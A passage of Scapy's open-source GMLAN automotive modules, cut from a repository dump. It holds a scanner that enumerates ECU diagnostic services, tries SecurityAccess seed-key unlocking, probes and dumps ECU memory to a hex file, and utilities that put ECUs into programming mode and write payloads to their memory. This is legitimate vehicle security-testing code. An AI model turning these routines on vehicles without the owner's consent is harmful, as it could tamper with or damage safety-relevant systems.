GMLAN_RDBI(dataIdentifier=x) for x in scan_range)\n\n    @staticmethod\n    def print_information(resp):\n        # type: (Packet) -> str\n        load = bytes(resp)[2:] if len(resp) > 3 else b\"No data available\"\n        return \"PR: %r\" % ((load[:17] + b\"...\") if len(load) > 20 else load)\n\n    def _get_table_entry_y(self, tup):\n        # type: (_AutomotiveTestCaseScanResult) -> str\n        return \"0x%04x: %s\" % (tup[1].dataIdentifier,\n                               tup[1].sprintf(\"%GMLAN_RDBI.dataIdentifier%\"))\n\n    def _get_table_entry_z(self, tup):\n        # type: (_AutomotiveTestCaseScanResult) -> str\n        return self._get_label(tup[2], self.print_information)\n\n\nclass GMLAN_WDBIEnumerator(GMLAN_Enumerator):\n    _description = \"Writeable data identifier per state\"\n    _supported_kwargs = copy.copy(GMLAN_Enumerator._supported_kwargs)\n    _supported_kwargs.update({\n        'rdbi_enumerator': (GMLAN_RDBIEnumerator, None)\n    })\n\n    _supported_kwargs_doc = ServiceEnumerator._supported_kwargs_doc + \"\"\"\n        :param rdbi_enumerator: Specifies an instance of a GMLAN_RDBIEnumerator\n                                which is used to extract possible data\n                                identifiers.\n        :type rdbi_enumerator: GMLAN_RDBIEnumerator\"\"\"\n\n    def execute(self, socket, state, **kwargs):\n        # type: (_SocketUnion, EcuState, Any) -> None\n        super(GMLAN_WDBIEnumerator, self).execute(socket, state, **kwargs)\n\n    execute.__doc__ = _supported_kwargs_doc\n\n    def _get_initial_requests(self, **kwargs):\n        # type: (Any) -> Iterable[Packet]\n        scan_range = kwargs.pop(\"scan_range\", range(0x100))\n        rdbi_enumerator = kwargs.pop(\"rdbi_enumerator\", None)\n        if rdbi_enumerator is None:\n            return (GMLAN() / GMLAN_WDBI(dataIdentifier=x) for x in scan_range)\n        elif isinstance(rdbi_enumerator, GMLAN_RDBIEnumerator):\n            return (GMLAN() / GMLAN_WDBI(dataIdentifier=t.resp.dataIdentifier,\n                                         dataRecord=bytes(t.resp)[2:])\n                    for t in rdbi_enumerator.filtered_results\n                    if t.resp.service != 0x7f and len(bytes(t.resp)) >= 2)\n        else:\n            raise Scapy_Exception(\"rdbi_enumerator has to be an instance \"\n                                  \"of GMLAN_RDBIEnumerator\")\n\n    def _get_table_entry_y(self, tup):\n        # type: (_AutomotiveTestCaseScanResult) -> str\n        return \"0x%02x: %s\" % (tup[1].dataIdentifier,\n                               tup[1].sprintf(\"%GMLAN_WDBI.dataIdentifier%\"))\n\n    def _get_table_entry_z(self, tup):\n        # type: (_AutomotiveTestCaseScanResult) -> str\n        return self._get_label(tup[2], \"PR: Writeable\")\n\n\nclass GMLAN_WDBISelectiveEnumerator(StagedAutomotiveTestCase):\n    @staticmethod\n    def __connector_rdbi_to_wdbi(rdbi, _):\n        # type: (AutomotiveTestCaseABC, AutomotiveTestCaseABC) -> Dict[str, Any]  # noqa: E501\n        return {\"rdbi_enumerator\": rdbi}\n\n    def __init__(self):\n        # type: () -> None\n        super(GMLAN_WDBISelectiveEnumerator, self).__init__(\n            [GMLAN_RDBIEnumerator(), GMLAN_WDBIEnumerator()],\n            [None, self.__connector_rdbi_to_wdbi])\n\n\nclass GMLAN_SAEnumerator(GMLAN_Enumerator, StateGenerator):\n    _description = \"SecurityAccess supported\"\n    _transition_function_args = dict()  # type: Dict[_Edge, Tuple[int, Optional[Callable[[int], int]]]]  # noqa: E501\n    _supported_kwargs = copy.copy(GMLAN_Enumerator._supported_kwargs)\n    _supported_kwargs.update({\n        'keyfunction': (None, None)\n    })\n\n    _supported_kwargs_doc = ServiceEnumerator._supported_kwargs_doc + \"\"\"\n        :param keyfunction: Specifies a function to generate the key from a\n                            given seed.\n        :type keyfunction: Callable[[int], int]\"\"\"\n\n    def execute(self, socket, state, **kwargs):\n        # type: (_SocketUnion, EcuState, Any) -> None\n        super(GMLAN_SAEnumerator, self).execute(socket, state, **kwargs)\n\n    execute.__doc__ = _supported_kwargs_doc\n\n    def _get_initial_requests(self, **kwargs):\n        # type: (Any) -> Iterable[Packet]\n        scan_range = kwargs.pop(\"scan_range\", range(1, 10, 2))\n        return (GMLAN() / GMLAN_SA(subfunction=x) for x in scan_range)\n\n    def _get_table_entry_y(self, tup):\n        # type: (_AutomotiveTestCaseScanResult) -> str\n        return \"Subfunction %02d\" % tup[1].subfunction\n\n    def _get_table_entry_z(self, tup):\n        # type: (_AutomotiveTestCaseScanResult) -> str\n        return self._get_label(tup[2], lambda r: \"PR: %s\" % r.securitySeed)\n\n    def pre_execute(self, socket, state, global_configuration):\n        # type: (_SocketUnion, EcuState, AutomotiveTestCaseExecutorConfiguration) -> None  # noqa: E501\n        if cast(ServiceEnumerator, self)._retry_pkt[state] and \\\n                not global_configuration.unittest:\n            # this is a retry execute. Wait much longer than usual because\n            # a required time delay not expired could have been received\n            # on the previous attempt\n            time.sleep(11)\n\n    def _evaluate_retry(self,\n                        state,  # type: EcuState\n                        request,  # type: Packet\n                        response,  # type: Packet\n                        **kwargs  # type: Optional[Dict[str, Any]]\n                        ):  # type: (...) -> bool\n\n        if super(GMLAN_SAEnumerator, self)._evaluate_retry(\n                state, request, response, **kwargs):\n            return True\n\n        if response.service == 0x7f and \\\n                self._get_negative_response_code(response) in [0x22, 0x37]:\n            log_automotive.debug(\n                \"Retry %s because requiredTimeDelayNotExpired or \"\n                \"requestSequenceError received\",\n                repr(request))\n            return super(GMLAN_SAEnumerator, self)._populate_retry(\n                state, request)\n        return False\n\n    def _evaluate_response(self,\n                           state,  # type: EcuState\n                           request,  # type: Packet\n                           response,  # type: Optional[Packet]\n                           **kwargs  # type: Optional[Dict[str, Any]]\n                           ):  # type: (...) -> bool\n        if super(GMLAN_SAEnumerator, self)._evaluate_response(\n                state, request, response, **kwargs):\n            return True\n\n        if response is not None and \\\n                response.service == 0x67 and response.subfunction % 2 == 1:\n            log_automotive.debug(\"Seed received. Leave scan to try a key\")\n            return True\n        return False\n\n    @staticmethod\n    def get_seed_pkt(sock, level=1):\n        # type: (_SocketUnion, int) -> Optional[Packet]\n        req = GMLAN() / GMLAN_SA(subfunction=level)\n        for _ in range(10):\n            seed = sock.sr1(req, timeout=5, verbose=False)\n            if seed is None:\n                return None\n            elif seed.service == 0x7f and \\\n                    GMLAN_Enumerator._get_negative_response_code(seed) != 0x37:\n                log_automotive.info(\n                    \"Security access no seed! NR: %s\", repr(seed))\n                return None\n\n            elif seed.service == 0x7f and \\\n                    GMLAN_Enumerator._get_negative_response_code(seed) == 0x37:\n                log_automotive.info(\"Security access retry to get seed\")\n                time.sleep(10)\n                continue\n            else:\n                return seed\n        return None\n\n    @staticmethod\n    def evaluate_security_access_response(res, seed, key):\n        # type: (Optional[Packet], Packet, Optional[Packet]) -> bool\n        if res is None or res.service == 0x7f:\n            log_automotive.debug(repr(seed))\n            log_automotive.debug(repr(key))\n            log_automotive.debug(repr(res))\n            log_automotive.info(\"Security access error!\")\n            return False\n        else:\n            log_automotive.info(\"Security access granted!\")\n            return True\n\n    @staticmethod\n    def get_key_pkt(seed, keyfunction, level=1):\n        # type: (Packet, Callable[[int], int], int) -> Optional[Packet]\n        try:\n            s = seed.securitySeed\n        except AttributeError:\n            return None\n\n        return cast(Packet, GMLAN() / GMLAN_SA(subfunction=level + 1,\n                                               securityKey=keyfunction(s)))\n\n    @staticmethod\n    def get_security_access(sock, level=1, seed_pkt=None, keyfunction=None):\n        # type: (_SocketUnion, int, Optional[Packet], Optional[Callable[[int], int]]) -> bool  # noqa: E501\n        log_automotive.info(\n            \"Try bootloader security access for level %d\" % level)\n        if seed_pkt is None:\n            seed_pkt = GMLAN_SAEnumerator.get_seed_pkt(sock, level)\n            if not seed_pkt:\n                return False\n\n        if keyfunction is None:\n            return False\n\n        key_pkt = GMLAN_SAEnumerator.get_key_pkt(seed_pkt, keyfunction, level)\n        if key_pkt is None:\n            return False\n\n        res = sock.sr1(key_pkt, timeout=5, verbose=False)\n        return GMLAN_SAEnumerator.evaluate_security_access_response(\n            res, seed_pkt, key_pkt)\n\n    @staticmethod\n    def transition_function(sock, _, kwargs):\n        # type: (_SocketUnion, AutomotiveTestCaseExecutorConfiguration, Dict[str, Any]) -> bool  # noqa: E501\n        return GMLAN_SAEnumerator.get_security_access(\n            sock, level=kwargs[\"sec_level\"], keyfunction=kwargs[\"keyfunction\"])\n\n    def get_new_edge(self, socket, config):\n        # type: (_SocketUnion, AutomotiveTestCaseExecutorConfiguration) -> Optional[_Edge]  # noqa: E501\n        last_resp = self._results[-1].resp\n        last_state = self._results[-1].state\n\n        if last_resp is None or last_resp.service == 0x7f:\n            return None\n\n        try:\n            if last_resp.service != 0x67 or \\\n                    last_resp.subfunction % 2 != 1:\n                return None\n\n            seed = last_resp\n            sec_lvl = seed.subfunction\n            kf = config[self.__class__.__name__].get(\"keyfunction\", None)\n\n            if self.get_security_access(socket, level=sec_lvl,\n                                        seed_pkt=seed, keyfunction=kf):\n                log_automotive.debug(\"Security Access found.\")\n                # create edge\n                new_state = copy.copy(last_state)\n                new_state.security_level = seed.subfunction + 1  # type: ignore  # noqa: E501\n                if last_state == new_state:\n                    return None\n                edge = (last_state, new_state)\n                self._transition_function_args[edge] = (sec_lvl, kf)\n                return edge\n        except AttributeError:\n            pass\n\n        return None\n\n    def get_transition_function(self, socket, edge):\n        # type: (_SocketUnion, _Edge) -> Optional[_TransitionTuple]\n        return self.transition_function, {\n            \"sec_level\": self._transition_function_args[edge][0],\n            \"keyfunction\": self._transition_function_args[edge][1],\n            \"desc\": \"SA=%d\" % self._transition_function_args[edge][0]}, None\n\n\nclass GMLAN_RDEnumerator(GMLAN_Enumerator, StateGeneratingServiceEnumerator):\n    _description = \"RequestDownload supported\"\n\n    def _get_initial_requests(self, **kwargs):\n        # type: (Any) -> Iterable[Packet]\n        return [GMLAN() / GMLAN_RD(memorySize=0x10)]\n\n    def _get_table_entry_y(self, tup):\n        # type: (_AutomotiveTestCaseScanResult) -> str\n        return \"RequestDownload:\"\n\n\nclass GMLAN_PMEnumerator(GMLAN_Enumerator, StateGeneratingServiceEnumerator):\n    _description = \"ProgrammingMode supported\"\n\n    def _get_initial_requests(self, **kwargs):\n        # type: (Any) -> Iterable[Packet]\n        raise NotImplementedError()\n\n    def execute(self, socket, state, timeout=1, execution_time=1200, **kwargs):\n        # type: (_SocketUnion, EcuState, int, int, Any) -> None\n        supported = GMLAN_InitDiagnostics(\n            cast(SuperSocket, socket), timeout=20,\n            unittest=kwargs.get(\"unittest\", False))\n        # TODO: Refactor result storage\n        if supported:\n            self._store_result(\n                state, GMLAN() / GMLAN_PM(), GMLAN(service=0xE5))\n        else:\n            self._store_result(\n                state, GMLAN() / GMLAN_PM(),\n                GMLAN() / GMLAN_NR(returnCode=0x11, requestServiceId=0xA5))\n\n        self._state_completed[state] = True\n\n    def get_new_edge(self, socket, config):\n        # type: (_SocketUnion, AutomotiveTestCaseExecutorConfiguration) -> Optional[_Edge]  # noqa: E501\n        edge = super(GMLAN_PMEnumerator, self).get_new_edge(socket, config)\n        if edge:\n            state, new_state = edge\n            new_state.tp = 1  # type: ignore\n            new_state.communication_control = 1  # type: ignore\n            return state, new_state\n        return None\n\n    @staticmethod\n    def enter_state_with_tp(sock, conf, kwargs):\n        # type: (_SocketUnion, AutomotiveTestCaseExecutorConfiguration, Dict[str, Any]) -> bool  # noqa: E501\n        GMLAN_TPEnumerator.enter(sock, conf, kwargs)\n        res = GMLAN_InitDiagnostics(cast(SuperSocket, sock), timeout=20,\n                                    unittest=conf.unittest)\n        if not res:\n            GMLAN_TPEnumerator.cleanup(sock, conf)\n            return False\n        else:\n            return True\n\n    def get_transition_function(self, socket, edge):\n        # type: (_SocketUnion, _Edge) -> Optional[_TransitionTuple]\n        return self.enter_state_with_tp, {\"desc\": \"PM_TP\"}, \\\n            GMLAN_TPEnumerator.cleanup\n\n    def _get_table_entry_y(self, tup):\n        # type: (_AutomotiveTestCaseScanResult) -> str\n        return \"ProgrammingMode:\"\n\n\nclass GMLAN_RDBPIEnumerator(GMLAN_Enumerator):\n    _description = \"Readable parameter identifier per state\"\n\n    def _get_initial_requests(self, **kwargs):\n        # type: (Any) -> Iterable[Packet]\n        scan_range = kwargs.pop(\"scan_range\", range(0x10000))\n        return (GMLAN() / GMLAN_RDBPI(identifiers=[x]) for x in scan_range)\n\n    def _get_table_entry_y(self, tup):\n        # type: (_AutomotiveTestCaseScanResult) -> str\n        return \"0x%04x: %s\" % (\n            tup[1].identifiers[0],\n            tup[1].sprintf(\"%GMLAN_RDBPI.identifiers%\")[1:-1])\n\n    def _get_table_entry_z(self, tup):\n        # type: (_AutomotiveTestCaseScanResult) -> str\n        return self._get_label(tup[2], GMLAN_RDBIEnumerator.print_information)\n\n\nclass GMLAN_RMBAEnumerator(GMLAN_Enumerator):\n    _description = \"Readable Memory Addresses and negative response per state\"\n\n    _supported_kwargs = copy.copy(GMLAN_Enumerator._supported_kwargs)\n    _supported_kwargs.update({\n        'probe_width': (int, lambda x: x >= 0),\n        'random_probes_len': (int, lambda x: x >= 0),\n        'sequential_probes_len': (int, lambda x: x >= 0)\n    })\n\n    _supported_kwargs_doc = GMLAN_Enumerator._supported_kwargs_doc + \"\"\"\n        :param int probe_width: Memory size of a probe.\n        :param int random_probes_len: Number of probes.\n        :param int sequential_probes_len: Size of a memory block during\n                                          sequential probing.\"\"\"\n\n    def execute(self, socket, state, **kwargs):\n        # type: (_SocketUnion, EcuState, Any) -> None\n        super(GMLAN_RMBAEnumerator, self).execute(socket, state, **kwargs)\n\n    execute.__doc__ = _supported_kwargs_doc\n\n    def __init__(self):\n        # type: () -> None\n        super(GMLAN_RMBAEnumerator, self).__init__()\n        self.random_probe_finished = defaultdict(bool)  # type: Dict[EcuState, bool]  # noqa: E501\n        self.points_of_interest = defaultdict(list)  # type: Dict[EcuState, List[Tuple[int, bool]]]  # noqa: E501\n        self.probe_width = 0x10  # defines the memorySize of a request\n        self.highest_possible_addr = \\\n            2 ** (8 * conf.contribs['GMLAN']['GMLAN_ECU_AddressingScheme']) - 1\n        self.random_probes_len = \\\n            min(10 ** conf.contribs['GMLAN']['GMLAN_ECU_AddressingScheme'],\n                0x5000)\n        self.sequential_probes_len = \\\n            10 ** (conf.contribs['GMLAN']['GMLAN_ECU_AddressingScheme'])\n\n    def _get_initial_requests(self, **kwargs):\n        # type: (Any) -> Iterable[Packet]\n        self.probe_width = kwargs.pop(\"probe_width\", self.probe_width)\n        self.random_probes_len = \\\n            kwargs.pop(\"random_probes_len\", self.random_probes_len)\n        self.sequential_probes_len = \\\n            kwargs.pop(\"sequential_probes_len\", self.sequential_probes_len)\n        addresses = random.sample(\n            range(0, self.highest_possible_addr, self.probe_width),\n            self.random_probes_len)\n        scan_range = kwargs.pop(\"scan_range\", addresses)\n        return (GMLAN() / GMLAN_RMBA(memoryAddress=x,\n                                     memorySize=self.probe_width)\n                for x in scan_range)\n\n    def post_execute(self, socket, state, global_configuration):\n        # type: (_SocketUnion, EcuState, AutomotiveTestCaseExecutorConfiguration) -> None  # noqa: E501\n        if not self._state_completed[state]:\n            return\n\n        if not self.random_probe_finished[state]:\n            log_automotive.info(\"Random memory probing finished\")\n            self.random_probe_finished[state] = True\n            for tup in [t for t in self.results_with_positive_response\n                        if t.state == state]:\n                self.points_of_interest[state].append(\n                    (tup.req.memoryAddress, True))\n                self.points_of_interest[state].append(\n                    (tup.req.memoryAddress, False))\n\n        if not len(self.points_of_interest[state]):\n            return\n\n        log_automotive.info(\n            \"Create %d memory points for sequential probing\" %\n            len(self.points_of_interest[state]))\n\n        tested_addrs = [tup.req.memoryAddress for tup in self.results]\n        pos_addrs = [tup.req.memoryAddress for tup in\n                     self.results_with_positive_response if tup.state == state]\n\n        new_requests = list()\n        new_points_of_interest = list()\n\n        for poi, upward in self.points_of_interest[state]:\n            if poi not in pos_addrs:\n                continue\n            temp_new_requests = list()\n            for i in range(\n                    self.probe_width,\n                    self.sequential_probes_len + self.probe_width,\n                    self.probe_width):\n                if upward:\n                    new_addr = min(poi + i, self.highest_possible_addr)\n                else:\n                    new_addr = max(poi - i, 0)\n\n                if new_addr not in tested_addrs:\n                    pkt = GMLAN() / GMLAN_RMBA(memoryAddress=new_addr,\n                                               memorySize=self.probe_width)\n                    temp_new_requests.append(pkt)\n\n            if len(temp_new_requests):\n                new_points_of_interest.append(\n                    (temp_new_requests[-1].memoryAddress, upward))\n                new_requests += temp_new_requests\n\n        self.points_of_interest[state] = list()\n\n        if len(new_requests):\n            self._state_completed[state] = False\n            self._request_iterators[state] = new_requests\n            self.points_of_interest[state] = new_points_of_interest\n            log_automotive.info(\n                \"Created %d pkts for sequential probing\" %\n                len(new_requests))\n\n    def show(self, dump=False, filtered=True, verbose=False):\n        # type: (bool, bool, bool) -> Optional[str]\n        s = super(GMLAN_RMBAEnumerator, self).show(dump, filtered, verbose)\n        try:\n            from intelhex import IntelHex\n\n            ih = IntelHex()\n            for tup in self.results_with_positive_response:\n                for i, b in enumerate(tup.resp.dataRecord):\n                    ih[tup.req.memoryAddress + i] = orb(b)\n\n            ih.tofile(\"RMBA_dump.hex\", format=\"hex\")\n        except ImportError:\n            log_automotive.warning(\n                \"Install 'intelhex' to create a hex file of the memory\")\n\n        if dump and s is not None:\n            return s + \"\\n\"\n        else:\n            print(s)\n            return None\n\n    def _get_table_entry_y(self, tup):\n        # type: (_AutomotiveTestCaseScanResult) -> str\n        return \"0x%04x\" % tup[1].memoryAddress\n\n    def _get_table_entry_z(self, tup):\n        # type: (_AutomotiveTestCaseScanResult) -> str\n        return self._get_label(tup[2], lambda r: \"PR: %s\" % r.dataRecord)\n\n\nclass GMLAN_TDEnumerator(GMLAN_Enumerator):\n    _description = \"Transfer Data support and negative response per state\"\n\n    def _get_initial_requests(self, **kwargs):\n        # type: (Any) -> Iterable[Packet]\n        scan_range = kwargs.pop(\"scan_range\", range(0x1ff))\n        temp = conf.contribs[\"GMLAN\"]['GMLAN_ECU_AddressingScheme']\n        # Shift operations to eliminate addresses not aligned to 4\n        max_addr = (2 ** (temp * 8) - 1) >> 2\n        addresses = (random.randint(0, max_addr) << 2 for _ in scan_range)\n        return (GMLAN() / GMLAN_TD(subfunction=0, startingAddress=x)\n                for x in addresses)\n\n    def _get_table_entry_y(self, tup):\n        # type: (_AutomotiveTestCaseScanResult) -> str\n        return \"0x%04x\" % tup[1].startingAddress\n\n\nclass GMLAN_DCEnumerator(GMLAN_Enumerator):\n    _description = \"DeviceControl supported per state\"\n\n    def _get_initial_requests(self, **kwargs):\n        # type: (Any) -> Iterable[Packet]\n        scan_range = kwargs.pop(\"scan_range\", range(0x100))\n        return (GMLAN() / GMLAN_DC(CPIDNumber=x) for x in scan_range)\n\n    def _get_table_entry_y(self, tup):\n        # type: (_AutomotiveTestCaseScanResult) -> str\n        return \"0x%02x: %s\" % \\\n               (tup[1].CPIDNumber, tup[1].sprintf(\"%GMLAN_DC.CPIDNumber%\"))\n\n\n# ########################## GMLAN SCANNER ###################################\n\nclass GMLAN_Scanner(AutomotiveTestCaseExecutor):\n    @property\n    def default_test_case_clss(self):\n        # type: () -> List[Type[AutomotiveTestCaseABC]]\n        return [GMLAN_ServiceEnumerator, GMLAN_TPEnumerator,\n                GMLAN_IDOEnumerator, GMLAN_PMEnumerator,\n                GMLAN_RDEnumerator, GMLAN_SAEnumerator, GMLAN_TDEnumerator,\n                GMLAN_RMBAEnumerator,\n                GMLAN_WDBISelectiveEnumerator, GMLAN_DCEnumerator]\n"
  },
  {
    "path": "scapy/contrib/automotive/gm/gmlanutils.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Nils Weiss <nils@we155.de>\n# Copyright (C) Markus Schroetter <project.m.schroetter@gmail.com>\n\n# scapy.contrib.description = GMLAN Utilities\n# scapy.contrib.status = loads\n\nimport time\n\nfrom scapy.contrib.automotive import log_automotive\n\nfrom scapy.contrib.automotive.gm.gmlan import GMLAN, GMLAN_SA, GMLAN_RD, \\\n    GMLAN_TD, GMLAN_PM, GMLAN_RMBA\nfrom scapy.config import conf\nfrom scapy.packet import Packet\nfrom scapy.supersocket import SuperSocket\nfrom scapy.contrib.isotp import ISOTPSocket\nfrom scapy.utils import PeriodicSenderThread\n\nfrom typing import (\n    Optional,\n    cast,\n    Callable,\n)\n\n__all__ = [\"GMLAN_TesterPresentSender\", \"GMLAN_InitDiagnostics\",\n           \"GMLAN_GetSecurityAccess\", \"GMLAN_RequestDownload\",\n           \"GMLAN_TransferData\", \"GMLAN_TransferPayload\",\n           \"GMLAN_ReadMemoryByAddress\", \"GMLAN_BroadcastSocket\"]\n\nlog_automotive.info(\"\\\"conf.contribs['GMLAN']\"\n                    \"['treat-response-pending-as-answer']\\\" set to True). This \"\n                    \"is required by the GMLAN-Utils module to operate \"\n                    \"correctly.\")\ntry:\n    conf.contribs['GMLAN']['treat-response-pending-as-answer'] = False\nexcept KeyError:\n    conf.contribs['GMLAN'] = {'treat-response-pending-as-answer': False}\n\n\n# Helper function\ndef _check_response(resp):\n    # type: (Optional[Packet]) -> bool\n    if resp is None:\n        log_automotive.debug(\"Timeout.\")\n        return False\n    log_automotive.debug(\"%s\", repr(resp))\n    return resp.service != 0x7f  # NegativeResponse\n\n\nclass GMLAN_TesterPresentSender(PeriodicSenderThread):\n\n    def __init__(self, sock, pkt=GMLAN(service=\"TesterPresent\"), interval=2):\n        # type: (SuperSocket, Packet, int) -> None\n        \"\"\" Thread to send GMLAN TesterPresent packets periodically\n\n        :param sock: socket where packet is sent periodically\n        :param pkt: packet to send\n        :param interval: interval between two packets\n        \"\"\"\n        PeriodicSenderThread.__init__(self, sock, pkt, interval)\n\n    def run(self):\n        # type: () -> None\n        while not self._stopped.is_set() and not self._socket.closed:\n            for p in self._pkts:\n                self._socket.sr1(p, verbose=False, timeout=0.1)\n                self._stopped.wait(timeout=self._interval)\n                if self._stopped.is_set() or self._socket.closed:\n                    break\n\n\ndef GMLAN_InitDiagnostics(\n        sock,  # type: SuperSocket\n        broadcast_socket=None,  # type: Optional[SuperSocket]\n        timeout=1,  # type: int\n        retry=0,  # type: int\n        unittest=False  # type: bool\n):\n    # type: (...) -> bool\n    \"\"\" Send messages to put an ECU into diagnostic/programming state.\n\n    :param sock: socket for communication.\n    :param broadcast_socket: socket for broadcasting. If provided some message\n                             will be sent as broadcast. Recommended when used\n                             on a network with several ECUs.\n    :param timeout: timeout for sending, receiving or sniffing packages.\n    :param retry: number of retries in case of failure.\n    :param unittest: disable delays\n    :return: True on success else False\n    \"\"\"\n\n    # Helper function\n    def _send_and_check_response(sock, req, timeout):\n        # type: (SuperSocket, Packet, int) -> bool\n        log_automotive.debug(\"Sending %s\", repr(req))\n        resp = sock.sr1(req, timeout=timeout, verbose=False)\n        return _check_response(resp)\n\n    retry = abs(retry)\n\n    while retry >= 0:\n        retry -= 1\n\n        # DisableNormalCommunication\n        p = GMLAN(service=\"DisableNormalCommunication\")\n        if broadcast_socket is None:\n            if not _send_and_check_response(sock, p, timeout):\n                continue\n        else:\n            log_automotive.debug(\"Sending %s as broadcast\", repr(p))\n            broadcast_socket.send(p)\n\n        if not unittest:\n            time.sleep(0.05)\n\n        # ReportProgrammedState\n        p = GMLAN(service=\"ReportProgrammingState\")\n        if not _send_and_check_response(sock, p, timeout):\n            continue\n        # ProgrammingMode requestProgramming\n        p = GMLAN() / GMLAN_PM(subfunction=\"requestProgrammingMode\")\n        if not _send_and_check_response(sock, p, timeout):\n            continue\n\n        if not unittest:\n            time.sleep(0.05)\n\n        # InitiateProgramming enableProgramming\n        # No response expected\n        p = GMLAN() / GMLAN_PM(subfunction=\"enableProgrammingMode\")\n        log_automotive.debug(\"Sending %s\", repr(p))\n        sock.sr1(p, timeout=0.001, verbose=False)\n        return True\n    return False\n\n\ndef GMLAN_GetSecurityAccess(\n        sock,  # type: SuperSocket\n        key_function,  # type: Callable[[int], int]\n        level=1,  # type: int\n        timeout=None,  # type: Optional[int]\n        retry=0,  # type: int\n        unittest=False  # type: bool\n):\n    # type: (...) -> bool\n    \"\"\" Authenticate on ECU. Implements Seey-Key procedure.\n\n    :param sock: socket to send the message on.\n    :param key_function: function implementing the key algorithm.\n    :param level: level of access\n    :param timeout: timeout for sending, receiving or sniffing packages.\n    :param retry: number of retries in case of failure.\n    :param unittest: disable internal delays\n    :return: True on success.\n    \"\"\"\n    retry = abs(retry)\n\n    if key_function is None:\n        return False\n\n    if level % 2 == 0:\n        log_automotive.warning(\"Parameter Error: Level must be an odd number.\")\n        return False\n\n    while retry >= 0:\n        retry -= 1\n\n        request = GMLAN() / GMLAN_SA(subfunction=level)\n        log_automotive.debug(\"Requesting seed..\")\n        resp = sock.sr1(request, timeout=timeout, verbose=False)\n        if not _check_response(resp):\n            if resp is not None and resp.returnCode == 0x37 and retry:\n                log_automotive.debug(\"RequiredTimeDelayNotExpired. Wait 10s.\")\n                if not unittest:\n                    time.sleep(10)\n            log_automotive.debug(\"Negative Response.\")\n            continue\n\n        seed = cast(Packet, resp).securitySeed\n        if seed == 0:\n            log_automotive.debug(\"ECU security already unlocked. (seed is 0x0000)\")\n            return True\n\n        keypkt = GMLAN() / GMLAN_SA(subfunction=level + 1,\n                                    securityKey=key_function(seed))\n        log_automotive.debug(\"Responding with key..\")\n        resp = sock.sr1(keypkt, timeout=timeout, verbose=False)\n        if resp is None:\n            log_automotive.debug(\"Timeout.\")\n            continue\n        log_automotive.debug(\"%s\", repr(resp))\n        if resp.service == 0x67:\n            log_automotive.debug(\"SecurityAccess granted.\")\n            return True\n        # Invalid Key\n        elif resp.service == 0x7f and resp.returnCode == 0x35:\n            log_automotive.debug(\"Key invalid\")\n            continue\n\n    return False\n\n\ndef GMLAN_RequestDownload(sock, length, timeout=None, retry=0):\n    # type: (SuperSocket, int, Optional[int], int) -> bool\n    \"\"\" Send RequestDownload message.\n\n        Usually used before calling TransferData.\n\n    :param sock: socket to send the message on.\n    :param length: value for the message's parameter 'unCompressedMemorySize'.\n    :param timeout: timeout for sending, receiving or sniffing packages.\n    :param retry: number of retries in case of failure.\n    :return: True on success\n    \"\"\"\n    retry = abs(retry)\n\n    while retry >= 0:\n        # RequestDownload\n        pkt = GMLAN() / GMLAN_RD(memorySize=length)\n        resp = sock.sr1(pkt, timeout=timeout, verbose=False)\n        if _check_response(resp):\n            return True\n        retry -= 1\n        if retry >= 0:\n            log_automotive.debug(\"Retrying..\")\n    return False\n\n\ndef GMLAN_TransferData(\n        sock,  # type: SuperSocket\n        addr,  # type: int\n        payload,  # type: bytes\n        maxmsglen=None,  # type: Optional[int]\n        timeout=None,  # type: Optional[int]\n        retry=0  # type: int\n):\n    # type: (...) -> bool\n    \"\"\" Send TransferData message.\n\n    Usually used after calling RequestDownload.\n\n    :param sock: socket to send the message on.\n    :param addr: destination memory address on the ECU.\n    :param payload: data to be sent.\n    :param maxmsglen: maximum length of a single iso-tp message.\n                      default: maximum length\n    :param timeout: timeout for sending, receiving or sniffing packages.\n    :param retry: number of retries in case of failure.\n    :return: True on success.\n    \"\"\"\n    retry = abs(retry)\n    startretry = retry\n\n    scheme = conf.contribs['GMLAN']['GMLAN_ECU_AddressingScheme']\n    if addr < 0 or addr >= 2 ** (8 * scheme):\n        log_automotive.warning(\"Error: Invalid address %s for scheme %s\",\n                               hex(addr), str(scheme))\n        return False\n\n    # max size of dataRecord according to gmlan protocol\n    if maxmsglen is None or maxmsglen <= 0 or maxmsglen > (4093 - scheme):\n        maxmsglen = (4093 - scheme)\n\n    maxmsglen = cast(int, maxmsglen)\n\n    for i in range(0, len(payload), maxmsglen):\n        retry = startretry\n        while True:\n            if len(payload[i:]) > maxmsglen:\n                transdata = payload[i:i + maxmsglen]\n            else:\n                transdata = payload[i:]\n            pkt = GMLAN() / GMLAN_TD(startingAddress=addr + i,\n                                     dataRecord=transdata)\n            resp = sock.sr1(pkt, timeout=timeout, verbose=False)\n            if _check_response(resp):\n                break\n            retry -= 1\n            if retry >= 0:\n                log_automotive.debug(\"Retrying..\")\n            else:\n                return False\n\n    return True\n\n\ndef GMLAN_TransferPayload(\n        sock,  # type: SuperSocket\n        addr,  # type: int\n        payload,  # type: bytes\n        maxmsglen=None,  # type: Optional[int]\n        timeout=None,  # type: Optional[int]\n        retry=0  # type: int\n):\n    # type: (...) -> bool\n    \"\"\" Send data by using GMLAN services.\n\n    :param sock: socket to send the data on.\n    :param addr: destination memory address on the ECU.\n    :param payload: data to be sent.\n    :param maxmsglen: maximum length of a single iso-tp message.\n                      default: maximum length\n    :param timeout: timeout for sending, receiving or sniffing packages.\n    :param retry: number of retries in case of failure.\n    :return: True on success.\n    \"\"\"\n    if not GMLAN_RequestDownload(sock, len(payload), timeout=timeout,\n                                 retry=retry):\n        return False\n    if not GMLAN_TransferData(sock, addr, payload, maxmsglen=maxmsglen,\n                              timeout=timeout, retry=retry):\n        return False\n    return True\n\n\ndef GMLAN_ReadMemoryByAddress(\n        sock,  # type: SuperSocket\n        addr,  # type: int\n        length,  # type: int\n        timeout=None,  # type: Optional[int]\n        retry=0  # type: int\n):\n    # type: (...) -> Optional[bytes]\n    \"\"\" Read data from ECU memory.\n\n    :param sock: socket to send the data on.\n    :param addr: source memory address on the ECU.\n    :param length: bytes to read.\n    :param timeout: timeout for sending, receiving or sniffing packages.\n    :param retry: number of retries in case of failure.\n    :return: bytes red or None\n    \"\"\"\n    retry = abs(retry)\n\n    scheme = conf.contribs['GMLAN']['GMLAN_ECU_AddressingScheme']\n    if addr < 0 or addr >= 2 ** (8 * scheme):\n        log_automotive.warning(\"Error: Invalid address %s for scheme %s\",\n                               hex(addr), str(scheme))\n        return None\n\n    # max size of dataRecord according to gmlan protocol\n    if length <= 0 or length > (4094 - 